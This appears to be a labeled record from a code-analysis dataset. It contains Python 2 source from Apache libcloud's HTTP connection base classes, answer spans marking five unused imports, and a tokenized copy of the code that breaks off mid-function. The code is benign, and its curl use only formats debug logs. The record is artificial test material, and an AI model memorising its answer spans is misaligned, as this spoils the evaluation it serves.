\"\"\"\n Append a token to a user agent string.\n\n Users of the library should call this to uniquely identify thier requests\n to a provider.\n\n @type token: C{str}\n @param token: Token to add to the user agent.\n \"\"\"\n self.ua.append(token)", "metadata": "root.ConnectionKey.user_agent_append", "header": "['class', 'ConnectionKey', '(', 'object', ')', ':', '___EOS___']", "index": 287 }, { "content": " def request(self,\n action,\n params=None,\n data='',\n headers=None,\n method='GET',\n raw=False):\n \"\"\"\n Request a given `action`.\n\n Basically a wrapper around the connection\n object's `request` that does some helpful pre-processing.\n\n @type action: C{str}\n @param action: A path\n\n @type params: C{dict}\n @param params: Optional mapping of additional parameters to send. If\n None, leave as an empty C{dict}.\n\n @type data: C{unicode}\n @param data: A body of data to send with the request.\n\n @type headers: C{dict}\n @param headers: Extra headers to add to the request\n None, leave as an empty C{dict}.\n\n @type method: C{str}\n @param method: An HTTP method such as \"GET\" or \"POST\".\n\n @return: An instance of type I{responseCls}\n \"\"\"\n if params is None:\n params = {}\n if headers is None:\n headers = {}\n\n self.action = action\n self.method = method\n # Extend default parameters\n params = self.add_default_params(params)\n # Extend default headers\n headers = self.add_default_headers(headers)\n # We always send a content length and user-agent header\n headers.update({'User-Agent': self._user_agent()})\n headers.update({'Host': self.host})\n # Encode data if necessary\n if data != '' and data != None:\n data = self.encode_data(data)\n\n if data is not None:\n headers.update({'Content-Length': str(len(data))})\n\n if params:\n url = '?'.join((action, urllib.urlencode(params)))\n else:\n url = action\n\n # Removed terrible hack...this a less-bad hack that doesn't execute a\n # request twice, but it's still a hack.\n self.connect()\n try:\n # @TODO: Should we just pass File object as body to request method\n # instead of dealing with splitting and sending the file ourselves?\n if raw:\n self.connection.putrequest(method, action)\n\n for key, value in headers.iteritems():\n self.connection.putheader(key, value)\n\n self.connection.endheaders()\n else:\n self.connection.request(method=method, url=url, body=data,\n headers=headers)\n except ssl.SSLError, e:\n raise ssl.SSLError(str(e))\n\n if raw:\n response = self.rawResponseCls()\n else:\n response = self.responseCls(self.connection.getresponse())\n\n response.connection = self\n return response", "metadata": "root.ConnectionKey.request", "header": "['class', 'ConnectionKey', '(', 'object', ')', ':', '___EOS___']", "index": 299 }, { "content": " def add_default_params(self, params):\n \"\"\"\n Adds default parameters (such as API key, version, etc.)\n to the passed `params`\n\n Should return a dictionary.\n \"\"\"\n return params", "metadata": "root.ConnectionKey.add_default_params", "header": "['class', 'ConnectionKey', '(', 'object', ')', ':', '___EOS___']", "index": 384 }, { "content": " def add_default_headers(self, headers):\n \"\"\"\n Adds default headers (such as Authorization, X-Foo-Bar)\n to the passed `headers`\n\n Should return a dictionary.\n \"\"\"\n return headers", "metadata": "root.ConnectionKey.add_default_headers", "header": "['class', 'ConnectionKey', '(', 'object', ')', ':', '___EOS___']", "index": 393 }, { "content": " def encode_data(self, data):\n \"\"\"\n Encode body data.\n\n Override in a provider's subclass.\n \"\"\"\n return data", "metadata": "root.ConnectionKey.encode_data", "header": "['class', 'ConnectionKey', '(', 'object', ')', ':', '___EOS___']", "index": 402 }, { "content": "class ConnectionUserAndKey(ConnectionKey):\n \"\"\"\n Base connection which accepts a user_id and key\n \"\"\"\n\n user_id = None\n", "metadata": "root.ConnectionUserAndKey", "header": "['module', '___EOS___']", "index": 410 }, { "content": " def __init__(self, user_id, key, secure=True, host=None, port=None):\n super(ConnectionUserAndKey, self).__init__(key, secure, host, port)\n self.user_id = user_id", "metadata": "root.ConnectionUserAndKey.__init__", "header": "['class', 'ConnectionUserAndKey', '(', 'ConnectionKey', ')', ':', '___EOS___']", "index": 417 } ]
[ { "span": "import time", "start_line": 17, "start_column": 0, "end_line": 17, "end_column": 11 }, { "span": "import hashlib", "start_line": 18, "start_column": 0, "end_line": 18, "end_column": 14 }, { "span": "import os", "start_line": 21, "start_column": 0, "end_line": 21, "end_column": 9 }, { "span": "import socket", "start_line": 22, "start_column": 0, "end_line": 22, "end_column": 13 }, { "span": "import struct", "start_line": 23, "start_column": 0, "end_line": 23, "end_column": 13 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "License", "d", " ", "to", " ", "the", " ", "Ap", "ache", " ", "Sof", "twa", "re", " ", "Foun", "dati", "on", " ", "(", "AS", "F", ")", " ", "under", " ", "one", " ", "or", " ", "more_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "contributor", " ", "license", " ", "agreement", "s", ".", " ", " ", "See", " ", "the", " ", "NOTICE", " ", "file", " ", "distributed", " ", "with_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "this", " ", "work", " ", "for", " ", "addition", "al", " ", "informati", "on", " ", "regarding", " ", "copyr", "ight", " ", "owner", "ship", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "AS", "F", " ", "license", "s", " ", "this", " ", "file", " ", "to", " ", "You", " ", "under", " ", "the", " ", "Ap", "ache", " ", "License", ",", " ", "Version", " ", "2.0_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "the", " ", "\"", "License", "\");", " ", "you", " ", "may", " ", "not", " ", "use", " ", "this", " ", "file", " ", "except", " ", "in", " ", "compli", "anc", "e", " ", "with_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "License", ".", " ", " ", "You", " ", "may", " ", "obtain", " ", "a", " ", "copy", " ", "of", " ", "the", " ", "License", " ", "at_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "http", "://", "www", ".", "apa", "che", ".", "org", "/", "license", "s", "/", "LICENSE", "-", "2.0_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Un", "less", " ", "require", "d", " ", "by", " ", "applica", "ble", " ", "law", " ", "or", " ", "agree", "d", " ", "to", " ", "in", " ", "writ", "ing", ",", " ", "software", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "distributed", " ", "under", " ", "the", " ", "License", " ", "is", " ", "distributed", " ", "on", " ", "an", " ", "\"", "AS", " ", "IS", "\"", " ", "BAS", "IS", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "WITH", "OUT", " ", "WAR", "RAN", "TIES", " ", "OR", " ", "CONDITION", "S", " ", "OF", " ", "ANY", " ", "KIND", ",", " ", "eit", "her", " ", "express", " ", "or", " ", "impli", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "See", " ", "the", " ", "License", " ", "for", " ", "the", " ", "specific", " ", "language", " ", "govern", "ing", " ", "permissi", "ons", " ", "and_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "limit", "ation", "s", " ", "under", " ", "the", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "httplib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "urllib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "hashlib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "String", "IO_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "ssl_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "socket_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "struct_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "pipes_", "import_", "quote_", "as_", "pq", "uot", "e_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "libc", "loud", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "libc", "loud", "_", "._", "http", "lib", "\\u", "ssl_", "import_", "Lib", "cloud", "HTTP", "SC", "onnect", "ion_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "httplib_", "import_", "HTTP", "Connection_", "as_", "Lib", "cloud", "HTTP", "Connection_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "TOD", "O", ":", " ", "Move", " ", "this", " ", "to", " ", "a", " ", "bett", "er", " ", "location", "/", "package_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Ra", "w", "Response_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Ra", "w", "Response_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "response_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "status_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "response_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "headers_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "error_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "reason_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ra", "w", "Response_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "response_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "self_", "._", "\\u", "response_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "response_", "=_", "self_", "._", "connection_", "._", "connection_", "._", "getresponse_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "\\u", "response_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ra", "w", "Response_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "status_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "self_", "._", "\\u", "status_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "status_", "=_", "self_", "._", "response_", "._", "status_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "\\u", "status_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ra", "w", "Response_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "headers_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "self_", "._", "\\u", "headers_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "headers_", "=_", "dict_", "(_", "self_", "._", "response_", "._", "geth", "eader", "s_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "\\u", "headers_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ra", "w", "Response_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "reason_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "self_", "._", "\\u", "reason_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "reason_", "=_", "self_", "._", "response_", "._", "reason_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "\\u", "reason_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Response_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "Base", " ", "Respons", "e", " ", "class", " ", "to", " ", "derive", " ", "from", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "NODE", "\\u", "STATE", "\\u", "MAP_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "object_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "body_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "status_", "=_", "httplib_", "._", "OK_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "headers_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "error_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "connection_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Response_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "response_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "body_", "=_", "response_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "status_", "=_", "response_", "._", "status_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "headers_", "=_", "dict_", "(_", "response_", "._", "geth", "eader", "s_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "error_", "=_", "response_", "._", "reason_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "self_", "._", "success_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Exception_", "(_", "self_", "._", "parse", "\\u", "error_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "object_", "=_", "self_", "._", "parse", "\\u", "body_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Response_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse", "\\u", "body_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Pars", "e", " ", "response", " ", "body", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Override", " ", "in", " ", "a", " ", "provide", "r", "'", "s", " ", "subclass", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "return", ":", " ", "Pars", "ed", " ", "body", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "body_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Response_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse", "\\u", "error_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Pars", "e", " ", "the", " ", "error", " ", "message", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Override", " ", "in", " ", "a", " ", "provide", "r", "'", "s", " ", "subclass", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "return", ":", " ", "Pars", "ed", " ", "error", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "body_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Response_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "success_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Det", "erm", "ine", " ", "if", " ", "our", " ", "request", " ", "was", " ", "success", "ful", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "meaning", " ", "of", " ", "this", " ", "can", " ", "be", " ", "arbitra", "ry", ";", " ", "did", " ", "we", " ", "receive", " ", "OK", " ", "status", "?", " ", "Di", "d", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "node", " ", "get", " ", "created", "?", " ", "Wer", "e", " ", "we", " ", "authenticat", "ed", "?", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "return", ":", " ", "C", "{", "Tru", "e", "}", " ", "or", " ", "C", "{", "Fal", "se", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "status_", "==_", "httplib_", "._", "OK_", "or_", "self_", "._", "status_", "==_", "httplib_", "._", "CREATED_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Log", "ging", "Connection_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Deb", "ug", " ", "class", " ", "to", " ", "log", " ", "all", " ", "HTTP", "(", "s", ")", " ", "request", "s", " ", "as", " ", "the", "y", " ", "coul", "d", " ", "be", " ", "made", "\\", "10", ";", " ", " ", " ", " ", "with", " ", "the", " ", "C", "{", "curl", "}", " ", "command", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "cvar", " ", "log", ":", " ", "file", "-", "like", " ", "object", " ", "tha", "t", " ", "logs", " ", "entri", "es", " ", "are", " ", "writt", "en", " ", "to", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Log", "ging", "Connection_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u", "log", "\\u", "response_", "(_", "self_", ",_", "r_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rv_", "=_", "\"#", " ", "--------", " ", "begin", " ", "%", "d", ":", "%", "d", " ", "response", " ", "----------", "\\\\", "n", "\"_", "%_", "(_", "id_", "(_", "self_", ")_", ",_", "id_", "(_", "r_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ht_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "v_", "=_", "r_", "._", "version_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "r_", "._", "version_", "==_", "10_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "v_", "=_", "\"", "HTTP", "/", "1.0", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "r_", "._", "version_", "==_", "11_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "v_", "=_", "\"", "HTTP", "/", "1.1", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ht_", "+=_", "\"%", "s", " ", "%", "s", " ", "%", "s", "\\\\", "r", "\\\\", "n", "\"_", "%_", "(_", "v_", ",_", "r_", "._", "status_", ",_", "r_", "._", "reason_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "body_", "=_", "r_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "h_", "in_", "r_", "._", "geth", "eader", "s_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ht_", "+=_", "\"%", "s", ":", " ", "%", "s", "\\\\", "r", "\\\\", "n", "\"_", "%_", "(_", "h_", "[_", "0_", "]_", "._", "title_", "(_", ")_", ",_", "h_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ht_", "+=_", "\"\\\\", "r", "\\\\", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "this", " ", "is", " ", "evil", ".", " ", "lau", "gh", " ", "with", " ", "me", ".", " ", "ha", " ", "ar", "har", "hr", "hah", "aha", "ha_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "fake", "sock_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "s_", "=_", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "makefile_", "(_", "self_", ",_", "mode_", ",_", "foo_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "String", "IO_", "._", "String", "IO_", "(_", "self_", "._", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "rr_", "=_", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "r_", "._", "chunked", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ht_", "+=_", "\"%", "x", "\\\\", "r", "\\\\", "n", "\"_", "%_", "(_", "len_", "(_", "body_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ht_", "+=_", "body_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ht_", "+=_", "\"\\\\", "r", "\\\\", "n", "0", "\\\\", "r", "\\\\", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ht_", "+=_", "body_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "rr_", "=_", "httplib_", "._", "HTTP", "Response_", "(_", "fake", "sock_", "(_", "ht_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "method_", "=_", "r_", "._", "\\u", "method_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "debugl", "evel_", "=_", "r_", "._", "debugl", "evel_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rr_", "._", "begin_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rv_", "+=_", "ht_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rv_", "+=_", "(_", "\"\\\\", "n", "#", " ", "--------", " ", "end", " ", "%", "d", ":", "%", "d", " ", "response", " ", "----------", "\\\\", "n", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "%_", "(_", "id_", "(_", "self_", ")_", ",_", "id_", "(_", "r_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "(_", "rr_", ",_", "rv_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Log", "ging", "Connection_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "log", "\\u", "curl_", "(_", "self_", ",_", "method_", ",_", "url_", ",_", "body_", ",_", "headers_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cmd_", "=_", "[_", "\"", "curl", "\"_", ",_", "\"-", "i", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cmd_", "._", "extend_", "(_", "[_", "\"-", "X", "\"_", ",_", "pq", "uot", "e_", "(_", "method_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "h_", "in_", "headers_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cmd_", "._", "extend_", "(_", "[_", "\"-", "H", "\"_", ",_", "pq", "uot", "e_", "(_", "\"%", "s", ":", " ", "%", "s", "\"_", "%_", "(_", "h_", ",_", "headers_", "[_", "h_", "]_", ")_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "TOD", "O", ":", " ", "in", " ", "python", " ", "2.6", ",", " ", "body", " ", "can", " ", "be", " ", "a", " ", "file", "-", "like", " ", "object", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "body_", "is_", "not_", "None_", "and_", "len_", "(_", "body_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 